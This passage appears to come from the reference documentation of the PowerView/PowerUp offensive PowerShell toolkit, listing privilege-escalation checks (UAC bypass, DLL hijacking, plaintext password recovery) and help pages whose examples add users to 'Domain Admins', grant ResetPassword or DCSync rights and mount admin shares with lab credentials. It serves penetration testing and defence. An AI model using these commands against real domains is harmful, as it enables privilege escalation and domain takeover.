Find-PathDLLHijack                  -   finds service %PATH% DLL hijacking opportunities
Write-HijackDll                     -   writes out a hijackable DLL



	### Registry Checks:
	Get-RegistryAlwaysInstallElevated   -   checks if the AlwaysInstallElevated registry key is set
Get-RegistryAutoLogon               -   checks for Autologon credentials in the registry
Get-ModifiableRegistryAutoRun       -   checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns



	### Miscellaneous Checks:
	Get-ModifiableScheduledTaskFile     -   find schtasks with modifiable target files
Get-UnattendedInstallFile           -   finds remaining unattended installation files
Get-Webconfig                       -   checks for any encrypted web.config strings
Get-ApplicationHost                 -   checks for encrypted application pool and virtual directory passwords
Get-SiteListPassword                -   retrieves the plaintext passwords for any found McAfee’s SiteList.xml files
Get-CachedGPPPassword               -   checks for passwords in cached Group Policy Preferences files



	### Other Helpers/Meta-Functions:
	Get-ModifiablePath                  -   tokenizes an input string and returns the files in it the current user can modify
Write-UserAddMSI                    -   write out a MSI installer that prompts for a user to be added
Invoke-WScriptUACBypass             -   performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe
Invoke-PrivescAudit                 -   runs all current escalation checks and returns a report (formerly Invoke-AllChecks)







            

          

      

      

    

  

    
      
          
            
  # Add-DomainGroupMember

## SYNOPSIS
Adds a domain user (or group) to an existing domain group, assuming
appropriate permissions to do so.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext

## SYNTAX

`
Add-DomainGroupMember [-Identity] <String> -Members <String[]> [-Domain <String>] [-Credential <PSCredential>]
`

## DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified -GroupIdentity,
which returns a DirectoryServices.AccountManagement.GroupPrincipal object.
For
each entry in -Members, each member identity is similarly searched for and added
to the group.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
`

Adds harmj0y to ‘Domain Admins’ in the current domain.

### ————————– EXAMPLE 2 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Add-DomainGroupMember -Identity ‘Domain Admins’ -Members ‘harmj0y’ -Credential $Cred

Adds harmj0y to ‘Domain Admins’ in the current domain using the alternate credentials.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
$UserPassword = ConvertTo-SecureString ‘Password123!’ -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember ‘Domain Admins’ -Credential $Cred

Creates the ‘andy’ user with the specified description and password, using the specified
alternate credentials, and adds the user to ‘domain admins’ using Add-DomainGroupMember
and the alternate credentials.

## PARAMETERS

### -Identity
A group SamAccountName (e.g.
Group1), DistinguishedName (e.g.
CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
specifying the group to add members to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: GroupName, GroupIdentity

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Members
One or more member identities, i.e.
SamAccountName (e.g.
Group1), DistinguishedName
(e.g.
CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1114),
or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: MemberIdentity, Member, DistinguishedName

Required: True
Position: Named
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS

[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/)



            

          

      

      

    

  

    
      
          
            
  # Add-DomainObjectAcl

## SYNOPSIS
Adds an ACL for a specific active directory object.

AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject

## SYNTAX

```
Add-DomainObjectAcl [[-TargetIdentity] <String[]>] [-TargetDomain <String>] [-TargetLDAPFilter <String>]


[-TargetSearchBase <String>] -PrincipalIdentity <String[]> [-PrincipalDomain <String>] [-Server <String>]
[-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone]
[-Credential <PSCredential>] [-Rights <String>] [-RightsGUID <Guid>]




```

## DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity.
Available -Rights are
‘All’, ‘ResetPassword’, ‘WriteMembers’, ‘DCSync’, or a manual extended
rights GUID can be set with -RightsGUID.
These rights are granted on the target
object for the specified -PrincipalIdentity.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
`

Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}

…

Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local ‘ResetPassword’ on CN=dfm (admin),CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID ‘00299570-246d-11d0-a768-00aa006e0529’ on CN=dfm (admin),CN=Users,DC=testlab,DC=local

Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }

AceQualifier           : AccessAllowed
ObjectDN               : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : User-Force-Change-Password
ObjectSID              : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags       : None
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : None
InheritedObjectAceType : All
OpaqueLength           : 0

### ————————– EXAMPLE 2 ————————–
`
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
`

Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}

[no results returned]

$SecPassword = ConvertTo-SecureString ‘Password123!’-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain ‘TESTLAB’ from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain ‘TESTLAB’ from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local ‘ResetPassword’ on CN=testuser testuser,CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID ‘00299570-246d-11d0-a768-00aa006e0529’ on CN=testuser,CN=Users,DC=testlab,DC=local

Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }

AceQualifier           : AccessAllowed
ObjectDN               : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : User-Force-Change-Password
ObjectSID              : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags       : None
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : None
InheritedObjectAceType : All
OpaqueLength           : 0

## PARAMETERS

### -TargetIdentity
A SamAccountName (e.g.
harmj0y), DistinguishedName (e.g.
CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for.
Required.
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -TargetSearchBase
The LDAP source to search through for targets, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -PrincipalIdentity
A SamAccountName (e.g.
harmj0y), DistinguishedName (e.g.
CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL.
Required.
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Rights
Rights to add for the principal, ‘All’, ‘ResetPassword’, ‘WriteMembers’, ‘DCSync’.
Defaults to ‘All’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: All
Accept pipeline input: False
Accept wildcard characters: False
```

### -RightsGUID
Manual GUID representing the right to add to the target.

```yaml
Type: Guid
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS

[https://adsecurity.org/?p=1906
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell](https://adsecurity.org/?p=1906
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell)



            

          

      

      

    

  

    
      
          
            
  # Add-RemoteConnection

## SYNOPSIS
Pseudo “mounts” a connection to a remote path using the specified
credential object, allowing for access of remote resources.
If a -Path isn’t
specified, a -ComputerName is required to pseudo-mount IPC$.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect

## SYNTAX

### ComputerName (Default)
`
Add-RemoteConnection [-ComputerName] <String[]> -Credential <PSCredential>
`

### Path
`
Add-RemoteConnection [-Path] <String[]> -Credential <PSCredential>
`

## DESCRIPTION
This function uses WNetAddConnection2W to make a ‘temporary’ (i.e.
not saved) connection
to the specified remote -Path (\\UNCshare) with the alternate credentials specified in the
-Credential object.
If a -Path isn’t specified, a -ComputerName is required to pseudo-mount IPC$.

To destroy the connection, use Remove-RemoteConnection with the same specified \\UNCshare path
or -ComputerName.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
$Cred = Get-Credential
`

Add-RemoteConnection -ComputerName ‘PRIMARY.testlab.local’ -Credential $Cred

### ————————– EXAMPLE 2 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Add-RemoteConnection -Path ‘\\PRIMARY.testlab.localC$' -Credential $Cred

### ————————– EXAMPLE 3 ————————–
`
$Cred = Get-Credential
`

@(‘PRIMARY.testlab.local’,’SECONDARY.testlab.local’) | Add-RemoteConnection  -Credential $Cred

## PARAMETERS

### -ComputerName
Specifies the system to add a \\ComputerNameIPC$ connection for.

```yaml
Type: String[]
Parameter Sets: ComputerName
Aliases: HostName, dnshostname, name

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Path
Specifies the remote \\UNCpath to add the connection for.

```yaml
Type: String[]
Parameter Sets: Path
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Convert-ADName

## SYNOPSIS
Converts Active Directory object names between a variety of formats.

Author: Bill Stewart, Pasquale Lantella
Modifications: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

```
Convert-ADName [-Identity] <String[]> [[-OutputType] <String>] [[-Domain] <String>] [[-Server] <String>]


[[-Credential] <PSCredential>]




```

## DESCRIPTION
This function is heavily based on Bill Stewart’s code and Pasquale Lantella’s code (in LINK)
and translates Active Directory names between various formats using the NameTranslate COM object.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Convert-ADName -Identity "TESTLAB\harmj0y"
`

harmj0y@testlab.local

### ————————– EXAMPLE 2 ————————–
`
"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical
`

testlab.local/Users/krbtgt
testlab.local/Users/Administrator

### ————————– EXAMPLE 3 ————————–
`
Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local
`

CN=harmj0y,CN=Users,DC=testlab,DC=local

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm’, $SecPassword)
‘S-1-5-21-890171859-3433809279-3366196753-1108’ | Convert-ADNAme -Credential $Cred

TESTLABharmj0y

## PARAMETERS

### -Identity
Specifies the Active Directory object name to translate, of the following form:


DN                short for ‘distinguished name’; e.g., ‘CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com’
Canonical         canonical name; e.g., ‘fabrikam.com/Engineers/Phineas Flynn’
NT4               domainusername; e.g., ‘fabrikampflynn’
Display           display name, e.g.





	‘pflynn’
	DomainSimple      simple domain name format, e.g.



	‘pflynn@fabrikam.com’
	EnterpriseSimple  simple enterprise name format, e.g.



	‘pflynn@fabrikam.com’
	GUID              GUID; e.g., ‘{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}’
UPN               user principal name; e.g., ‘pflynn@fabrikam.com’
CanonicalEx       extended canonical name format
SPN               service principal name format; e.g.



	‘HTTP/kairomac.contoso.com’
	SID               Security Identifier; e.g., ‘S-1-5-21-12986231-600641547-709122288-57999’





```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Name, ObjectName

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -OutputType
Specifies the output name type you want to convert to, which must be one of the following:


DN                short for ‘distinguished name’; e.g., ‘CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com’
Canonical         canonical name; e.g., ‘fabrikam.com/Engineers/Phineas Flynn’
NT4               domainusername; e.g., ‘fabrikampflynn’
Display           display name, e.g.





	‘pflynn’
	DomainSimple      simple domain name format, e.g.



	‘pflynn@fabrikam.com’
	EnterpriseSimple  simple enterprise name format, e.g.



	‘pflynn@fabrikam.com’
	GUID              GUID; e.g., ‘{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}’
UPN               user principal name; e.g., ‘pflynn@fabrikam.com’
CanonicalEx       extended canonical name format, e.g.



	‘fabrikam.com/Users/Phineas Flynn’
	SPN               service principal name format; e.g.





‘HTTP/kairomac.contoso.com’

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the translation, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to for the translation.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: 4
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
Specifies an alternate credential to use for the translation.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: 5
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### String

Accepts one or more objects name strings on the pipeline.

## OUTPUTS

### String

Outputs a string representing the converted name.

## NOTES

## RELATED LINKS

[http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67](http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67)



            

          

      

      

    

  

    
      
          
            
  # ConvertFrom-SID

## SYNOPSIS
Converts a security identifier (SID) to a group/user name.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName

## SYNTAX

```
ConvertFrom-SID [-ObjectSid] <String[]> [[-Domain] <String>] [[-Server] <String>]


[[-Credential] <PSCredential>]




```

## DESCRIPTION
Converts a security identifier string (SID) to a group/user name
using Convert-ADName.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108
`

TESTLABharmj0y

### ————————– EXAMPLE 2 ————————–
`
"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
`

TESTLABWINDOWS2$
TESTLABharmj0y
BUILTINDistributed COM Users

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm’, $SecPassword)
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred

TESTLABharmj0y

## PARAMETERS

### -ObjectSid
Specifies one or more SIDs to convert.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: SID

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the translation, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to for the translation.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
Specifies an alternate credential to use for the translation.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: 4
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### String

Accepts one or more SID strings on the pipeline.

## OUTPUTS

### String

The converted DOMAINusername.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # ConvertFrom-UACValue

## SYNOPSIS
Converts a UAC int value to human readable form.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
ConvertFrom-UACValue [-Value] <Int32> [-ShowAll]
`

## DESCRIPTION
This function will take an integer that represents a User Account
Control (UAC) binary blob and will covert it to an ordered
dictionary with each bitwise value broken out.
By default only values
set are displayed- the -ShowAll switch will display all values with
a + next to the ones set.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
ConvertFrom-UACValue -Value 66176
`

Name                           Value
—-                           —–
ENCRYPTED_TEXT_PWD_ALLOWED     128
NORMAL_ACCOUNT                 512
DONT_EXPIRE_PASSWORD           65536

### ————————– EXAMPLE 2 ————————–
`
Get-DomainUser harmj0y | ConvertFrom-UACValue
`

Name                           Value
—-                           —–
NORMAL_ACCOUNT                 512
DONT_EXPIRE_PASSWORD           65536

### ————————– EXAMPLE 3 ————————–
`
Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
`

Name                           Value
—-                           —–
SCRIPT                         1
ACCOUNTDISABLE                 2
HOMEDIR_REQUIRED               8
LOCKOUT                        16
PASSWD_NOTREQD                 32
PASSWD_CANT_CHANGE             64
ENCRYPTED_TEXT_PWD_ALLOWED     128
TEMP_DUPLICATE_ACCOUNT         256
NORMAL_ACCOUNT                 512+
INTERDOMAIN_TRUST_ACCOUNT      2048
WORKSTATION_TRUST_ACCOUNT      4096
SERVER_TRUST_ACCOUNT           8192
DONT_EXPIRE_PASSWORD           65536+
MNS_LOGON_ACCOUNT              131072
SMARTCARD_REQUIRED             262144
TRUSTED_FOR_DELEGATION         524288
NOT_DELEGATED                  1048576
USE_DES_KEY_ONLY               2097152
DONT_REQ_PREAUTH               4194304
PASSWORD_EXPIRED               8388608
TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
PARTIAL_SECRETS_ACCOUNT        67108864

## PARAMETERS

### -Value
Specifies the integer UAC value to convert.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases: UAC, useraccountcontrol

Required: True
Position: 1
Default value: 0
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -ShowAll
Switch.
Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### Int

Accepts an integer representing a UAC binary blob.

## OUTPUTS

### System.Collections.Specialized.OrderedDictionary

An ordered dictionary with the converted UAC fields.

## NOTES

## RELATED LINKS

[https://support.microsoft.com/en-us/kb/305144](https://support.microsoft.com/en-us/kb/305144)



            

          

      

      

    

  

    
      
          
            
  # ConvertTo-SID

## SYNOPSIS
Converts a given user/group name to a security identifier (SID).

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain

## SYNTAX

`
ConvertTo-SID [-ObjectName] <String[]> [[-Domain] <String>] [[-Server] <String>] [[-Credential] <PSCredential>]
`

## DESCRIPTION
Converts a “DOMAINusername” syntax to a security identifier (SID)
using System.Security.Principal.NTAccount’s translate function.
If alternate
credentials are supplied, then Get-ADObject is used to try to map the name
to a security identifier.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
ConvertTo-SID 'DEV\dfm'
`

### ————————– EXAMPLE 2 ————————–
`
'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
`

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
‘TESTLABdfm’ | ConvertTo-SID -Credential $Cred

## PARAMETERS

### -ObjectName
The user/group name to convert, can be ‘user’ or ‘DOMAINuser’ format.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Name, Identity

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the translation, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to for the translation.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
Specifies an alternate credential to use for the translation.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: 4
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### String

Accepts one or more username specification strings on the pipeline.

## OUTPUTS

### String

A string representing the SID of the translated name.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Export-PowerViewCSV

## SYNOPSIS
Converts objects into a series of comma-separated (CSV) strings and saves the
strings in a CSV file in a thread-safe manner.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Export-PowerViewCSV -InputObject <PSObject[]> [-Path] <String> [[-Delimiter] <Char>] [-Append]
`

## DESCRIPTION
This helper exports an -InputObject to a .csv in a thread-safe manner
using a mutex.
This is so the various multi-threaded functions in
PowerView has a thread-safe way to export output to the same file.
Uses .NET IO.FileStream/IO.StreamWriter objects for speed.

Originally based on Dmitry Sotnikov’s Export-CSV code: http://poshcode.org/1590

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
`

### ————————– EXAMPLE 2 ————————–
`
Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
`

## PARAMETERS

### -InputObject
Specifies the objects to export as CSV strings.

```yaml
Type: PSObject[]
Parameter Sets: (All)
Aliases:

Required: True
Position: Named
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Path
Specifies the path to the CSV output file.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: True
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Delimiter
Specifies a delimiter to separate the property values.
The default is a comma (,)

```yaml
Type: Char
Parameter Sets: (All)
Aliases:

Required: False
Position: 3
Default value: ,
Accept pipeline input: False
Accept wildcard characters: False
```

### -Append
